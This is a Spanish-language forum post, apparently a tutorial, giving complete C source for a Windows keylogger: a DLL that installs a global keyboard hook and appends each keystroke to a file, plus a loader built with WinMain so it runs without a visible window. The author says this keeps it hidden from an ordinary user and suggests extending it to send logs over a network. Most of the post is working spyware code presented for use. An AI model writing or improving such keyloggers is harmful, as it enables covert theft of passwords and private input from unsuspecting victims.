Hice un pequeño ejemplo que espero ayude a comprender un poco esto (inclusive lo pueden tomar como mini tutorial ):
Comencemos con la DLL:
Código:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "kllib.h"
HINSTANCE hInstDLL; //Instancia de nuestra DLL
HHOOK gHook; //Handle del hook
//Funcion para escribir nuestro log
void EscribeLog(char *cadena, ...) {
FILE *fmt;
va_list args;
char buffer[1024] = {0};
va_start(args, cadena);
vsprintf(buffer, cadena, args);
va_end(args);
fmt = fopen("c:\\salida.txt", "a");
fprintf(fmt, buffer);
fclose(fmt);
}
//Esta es la funcion Hook
LRESULT CALLBACK KbProc(int code, WPARAM wParam, LPARAM lParam) {
char key;
//Si code es menor a cero, no hacemos nada (como lo dice la documentacion)
if(code<0) return CallNextHookEx(gHook, code, wParam, lParam);
//Verificamos que wParam y lParam contengan informacion
if(code==HC_ACTION) {
//En wParam se guarda la tecla presionada
//Aqui hace falta algo de trabajo para darle formato al codigo que windows
//envia.
key = (char) wParam;
EscribeLog("%c", key);
}
return CallNextHookEx(gHook, code, wParam, lParam);
}
//Esta funcion instala el hook
BOOL IniciarKbL() {
//Le decimos a windows que queremos instalar un hook para teclado.
gHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KbProc, hInstDLL, NULL);
//Verificamos que se haya instalado correctamente.
if(gHook == NULL) {return FALSE;}
return TRUE;
}
//Esta funcion desinstala el hook
void TerminarKbL() {
//Lo desinstalamos :)
UnhookWindowsHookEx(gHook);
}
BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)
{
hInstDLL = (HINSTANCE)hModule;
return TRUE;
}
He aqui el archivo de cabecera en cuestion:
Código:
#ifndef KLLIBH
#define KLLIBH
LRESULT CALLBACK KbProc(int code, WPARAM wParam, LPARAM lParam);
BOOL IniciarKbL();
void TerminarKbL();
#endif
Con eso terminamos la DLL, ahora hacemos un programita para usarla .
Código:
#include <windows.h>
#include "kllib.h"
//La hago con WinMain para permanecer "oculto" (claro a menos que vean los procesos :)),
//de este modo windows no crea ninguna consola porque espera que cree mi ventana principal
//cosa que nunca hago ^_^, asi no hay evidencia para un usuario comun de que estamos ahi ;).
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPInst, LPSTR lpCmd, int nShow) {
//Instalamos el hook
if(IniciarKbL() == FALSE) return -1;
//Un bucle infinito para permanecer en memoria. Ahora la funcion que trabaja es la
//funcion hook, que windows llama.
while(1) {
//Mandamos a dormir a la aplicacion un rato para no ocupar todo el procesador
//y no alentar la maquina.
Sleep(500);
}
//Desinstalamos el hook :).
TerminarKbL();
return 0;
}
Este es un keylogger funcional, pero como se darán cuenta, si lo compilan, es bastante malo, pero creo que cumple con el objetivo de mostrar como hacer un keylogger en C.
Ahora solo falta que revisen un poco la doc. de la WinAPI para mejorar el keylogger y formatee correctamente los mensajes del teclado, luego lo mejoran para que funcione en Red .
Si tienen dudas, y las puedo contestar con gusto lo hare .
Ah se me olvidaba, por lo malo que es , para cerrarlo tendran que ver los procesos actuales (Ctrl+Alt+Supr) y cerrarlo desde ahi, disculpen las molestias.
Marcadores